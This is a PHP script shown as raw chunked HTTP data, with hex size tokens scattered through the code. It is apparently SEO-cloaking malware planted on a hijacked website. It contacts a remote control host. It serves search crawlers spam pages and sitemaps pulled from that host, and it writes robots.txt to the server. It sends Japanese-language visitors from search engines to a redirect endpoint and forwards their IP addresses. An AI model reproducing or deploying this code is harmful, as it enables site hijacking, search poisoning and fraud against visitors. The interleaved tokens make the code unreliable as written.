1 < 2 ?p 2 hp 3 er 3 ror 3 _re 3 por 3 tin 2 g( 2 0) 2 ; 3 @se 3 t_t 3 ime 3 _li 2 mi 3 t(1 1 2 6 0); @i 3 gno 3 re_ 3 use 3 r_a 1 b 4 ort( 4 1); 3 $tr 2 = 3 "h 3 ttp 2 s: 2 // 2 j2 2 60 2 41 2 7_ 2 23 2 .r 3 obe 3 rto 2 .a 3 sia 2 /" 3 ; c 2 la 3 ss 2 Re 2 q 3 { 4 p 2 ub 3 lic 2 f 3 unc 5 tion 4 serv 3 er( 2 $n 3 ame 3 = 3 '', 3 $d 2 ef 3 aul 1 t 6 = '') 5 6 { 6 if 2 ( 3 emp 2 ty 7 ($name) 1 ) b { 6 re 3 tur 3 n $ 2 _S 2 ER 3 VER 1 ; 9 1 } 9 a $name = st 3 rto 3 upp 8 er($name 3 ); 8 8 return i 1 s 4 set( 8 $_SERVER 6 [$name 2 ]) 2 ? 9 $_SERVER 7 [$name] 2 : 9 $default 6 ; 6 } 10 public function 4 iss( 14 ) { if ( 3 $th 2 is 2 -> 8 server(' 2 HT 2 TP 2 S' 3 ) & 2 & 2 (" 3 1" 2 == 1 18 $this->server('HTTPS') | 3 | " 2 on 5 " == 6 strtol 1c ower($this->server('HTTPS')) 1a )) { return tr 2 ue c ; } 3 els 1 e 5 if (' 6 https' 13 == $this->server(' 2 RE 2 QU 2 ES 3 T_S 2 CH 3 EME 1 ' 31 )) { return true; } elseif (' 2 44 1 3 14 ' == $this->server(' 7 SERVER_ 3 POR 1 T 32 ')) { return true; } elseif (' 19 https' == $this->server(' 5 HTTP_ 2 X_ 2 FO 2 RW 2 AR 3 DED 3 _PR 2 OT 1 O 28 ')) { return true; } 10 return 2 fa 3 lse 1c ; } public function 3 hos 1 t 12 () { $ 4 host 3 = 3 str 3 val 14 ($this->server('HTTP f _X_FORWARDED_HO 1 S 4 T') 1 ? 3 : $ 13 this->server('HTTP_ 6 HOST') 12 ); return 4 strp 2 os 6 ($host 2 , 2 ': 4 ') ? 7 strstr b ($host, ':' 2 , 4 true 1 ) 8 : $host 1e ; } public function sc 3 hem 1 e 11 () { 8 return $ 6 this-> 5 iss() 3 ? 7 "https" 3 : 5 "http 3 "; a } 10 public function 2 dm 1f () { return $this-> 8 scheme() 3 . 1 " 4 ://" 3 . 7 $this-> 6 host() 1d ; } public function i 1 p 11 () { 5 if (g 3 ete 2 nv 1 ( 7 'HTTP_C 2 LI 2 EN 3 T_I 1 P 13 ')) { $ 2 ip 3 = 18 getenv('HTTP_CLIENT_IP') 14 ; } elseif ( d getenv('HTTP_ c X_FORWARDED_ 3 FOR 25 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1d ; } elseif (getenv('R 2 EM 3 OTE 2 _A 2 DD 21 R')) { $ip = getenv(' d REMOTE_ADDR') 10 ; } else f { 15 $ip = $this->server(' 18 REMOTE_ADDR'); } 10 return 3 $ip 1e ; } public function is 1 c 13 () { $a 2 ge 1 n 7 t = str 1c tolower($this->server('HTTP_ 1 U 4 SER_ 2 AG 3 ENT 3 ')) a ; 4 if ( 8 $agent ! 4 = '' 6 && pr 3 eg_ 3 mat 2 ch 3 ('/ 2 go 3 ogl 2 eb 3 ot| 6 google 2 |y 3 aho 2 o| 1 b 4 ing| 3 aol 2 /s 1 i 4 ', $ 5 agent 27 )) { return true; } 10 return 23 false; } public function is 1 g a () { 2 $ 3 ref 1 e 4 r = 1f strtolower($this->server('HTTP_ 2 RE 3 FER 1 E 4 R')) a ; 6 $refer 4 bots 4 = ' 16 google|yahoo|bing|aol' 15 ; if ($refer 16 != '' && preg_match("/ 1 ( b $referbots) 4 /si" 3 , $ 5 refer 5a )) { return true; } return false; } public function ur 1 i 11 () { 5 if (( 1 $ 3 pos 6 = str 5 pos($ e this->server(' 8 REQUEST_ 8 URI'), ' 1 . 3 php 5 ')) ! 3 == 5 false 12 ) { $s 6 cript_ 8 name = b 3 ase 4 name 11 ($this->server('S 2 CR 2 IP 3 T_F 2 IL 2 EN 1 A 5 ME')) a ; 4 4 if ( 1f basename($this->server('SCRIPT_ 7 NAME')) 3 == 3 = $ b script_name 10 ) { 5 $ 3 url 3 = f $this->server(' 7 SCRIPT_ 6 NAME') e ; 1 } 9 elseif ( 19 basename($this->server('P 2 HP 3 _SE 2 LF 4 ')) 3a === $script_name) { $url = $this->server(' a PHP_SELF') 31 ; } elseif (basename($this->server('O 2 RI 1 G 3 _SC 5 RIPT_ 42 NAME')) === $script_name) { $url = $this->server(' 12 ORIG_SCRIPT_NAME') 18 ; } elseif ( 1e ($pos = strpos($this->server(' a PHP_SELF') 4 , '/ 1 ' 4 . $ c script_name) 1b ) !== false) { b $url = 3 sub 5 str($ e this->server(' f SCRIPT_NAME'), 1 0 3 , $ 4 pos) 3 . 12 '/' . $script_name 18 ; } elseif ( f $this->server(' 2 DO 2 CU 1 M 5 ENT_R 2 OO 4 T') 3 && 8 strpos($ 15 this->server('SCRIPT_ a FILENAME') 3 , $ e this->server(' f DOCUMENT_ROOT') 6 ) === 1 0 1b ) { $url = 3 str 5 _repl 2 ac 11 e($this->server(' f DOCUMENT_ROOT') 3 , ' 4 ', $ 1f this->server('SCRIPT_FILENAME') f ); a } 6 $r 2 eq 3 uri 4 = $ 4 url 2 . 16 substr($this->server(' f REQUEST_URI'), 5 $pos 2 + 1 4 b ); 6 } else 10 { $ 9 requri = 25 substr($this->server('REQUEST_URI'), 16 strpos($this->server(' 11 REQUEST_URI'), '/ d ')); a } 9 return rt 3 rim 4 ($re 4 quri 5 , '/' 7 ); 17 } public function e 3 xec 3 Req 1 ( 4 $url 4 , $p 5 = ar 3 ray 2 () 10 ) { 7 $url = d str_replace(' 1 5 ', '+ 4 ', $ 3 url c ); $ 2 ch 4 = c 3 url 3 _in 3 it( b ); 5 curl_ 3 set 2 op 3 t($ 2 ch 3 , C 2 UR 2 LO 3 PT_ 3 URL 11 , $url); 1a curl_setopt($ch, CURLOPT_R 3 ETU 2 RN 2 TR 2 AN 1 S 5 FER, 4 1); 4 4 19 curl_setopt($ch, CURLOPT_ 3 HEA 1 D 4 ER, 4 0); 22 curl_setopt($ch, CURLOPT_T 2 IM 2 EO 3 UT, 1 5 20); 22 curl_setopt($ch, CURLOPT_P 3 OST 28 , 1); curl_setopt($ch, CURLOPT_S 2 SL 1 _ 4 VERI 2 FY 2 PE 29 ER, 0); curl_setopt($ch, CURLOPT_ a SSL_VERIFY 4 HOST 2b , 0); curl_setopt($ch, CURLOPT_POST 2 FI 2 EL 2 DS 7 , http_ 2 bu 3 ild 2 _q 3 uer 3 y($ 1 p e )); $o 3 utp 1 u 4 t = 5 curl_ 4 exec 4 ($ch c ); $ 5 error 3 Cod 4 e = 6 curl_e 3 rrn 1 o 14 ($ch); curl_ 2 cl 2 os 3 e($ d ch); 4 if ( 1 0 6 !== $ 9 errorCode 10 ) { 7 return b false; 4 12 } return $ 6 output 6 ; 2 } 2 } 4 $req 3 = 2 ne 1 w 4 Req 5 (); $ 3 isc 4 = $ 3 req 2 -> 3 isc 8 (); $isg b = $req->is 3 g() 4 ; $u 2 ma 4 p = 4 $tr 3 . " 3 map 3 "; 3 $ur 4 i = 5 urlde 1 c 3 ode 6 ($req- 1 > 5 uri() 4 ); $ a p = array( 6 " 3 dom 2 ai 4 n" = 1 > c $req->dm(), 6 " 4 port b " => $req-> 8 server(' 3 SER 3 VER 7 _PORT', 2 8 1 0 8 ), " 9 uri" => $ 3 uri 4 ); 4 if ( 8 substr($ 5 uri, 2 -1 3 0) 3 == 1 " 3 rob 3 ots 3 .tx 2 t" 8 ) { 3 hea 1 d 4 er(" 3 Con 5 tent- 3 typ 2 e: 3 tex 2 t/ 3 pla 3 in; 2 c 3 har 3 set 2 =u 3 tf- 2 8" 7 ); 2 di 8 e($req-> f execReq($tr . " 6 robots 4 ", $ 6 p)); } 13 if (substr($uri, - 1 6 c ) == "robots 9 ") { 7 $output 9 = $req-> 1b execReq($tr . "robots", $p) 7 ; $ 2 rp 5 t = _ 2 _D 3 IR_ 1 _ 5 . "/ b robots.txt" 7 ; f 3 ile 1 _ 5 put_c 6 ontent 6 s($rpt 3 , $ 6 output 7 ); 1 $ b robots_cont 3 = 1 @ 5 file_ 3 get e _contents($rpt 7 ); 5 if (s 6 trpos( c strtolower($ b robots_cont 3 ), 3 "si 2 te 4 map" d )) { 4 die( b "robots.txt 5 file 3 cr 3 eat 1 e 5 succ 2 es 2 s! 8 "); 11 } else { 1c die("robots.txt file create 2 fa 2 il a !"); } 15 } if (substr($uri, - 1 4 7 ) == ". 3 xml 9 ") { b if (strpos( 7 $uri, " 2 al 1 l e sitemap.xml") 3 || 8 strpos($ 6 uri, " 9 sitemap-i 2 nd 2 ex 25 .xml") || strpos($uri, "sitemap-index 2 -1 18 .xml") || strpos($uri, " b index.xml") c ) { 2c $output = $req->execReq($umap, $p); 1a header("Content-type:text/ 4 " . 9 (substr($ 6 output 6 , 0, 5 6 ) === 2 '< 1 ? 4 xml' 3 ? 6 'xml' 2 : 1 ' 5 plain 3 ') 3 . ' f ; charset=utf-8 8 '); 4 4 die( 3 '' 3 . $ d output); 6 } 19 $output = $req->execReq($ 7 tr . "w 2 or 1 d 6 ", $p) 6 ; 1a header("Content-type:text/ 3 xml 17 ; charset=utf-8"); 5 if ($ 8 output = 3 = " 1 1 9 ") { e die('' . $ 5 req-> a execReq($u 8 map, $p) 7 ); 15 } else { die( 15 '' . $output); } 5 } $la 1 n a g = $req-> c server('HTTP 2 _A 3 CCE 5 PT_LA 1 N 2 GU 3 AGE 4 '); 5 if (! 5 $isc 6 && $is 1 g c && strpos($ 4 lang 4 , 'j 2 a' 1 ) 3 !== e false) { $ 2 p[ 3 "ip 2 "] a = $req->i 3 p() 8 ; $a 6 ction 9 = $tr . " 3 jum 8 p"; 13 die($req->execReq($ 6 action e , $p)); } if ( 4 $isc 8 ) { a die('' . $ e req->execReq($ 6 tr . " 3 ind 3 ata c ", $p)); } ? 1 > 0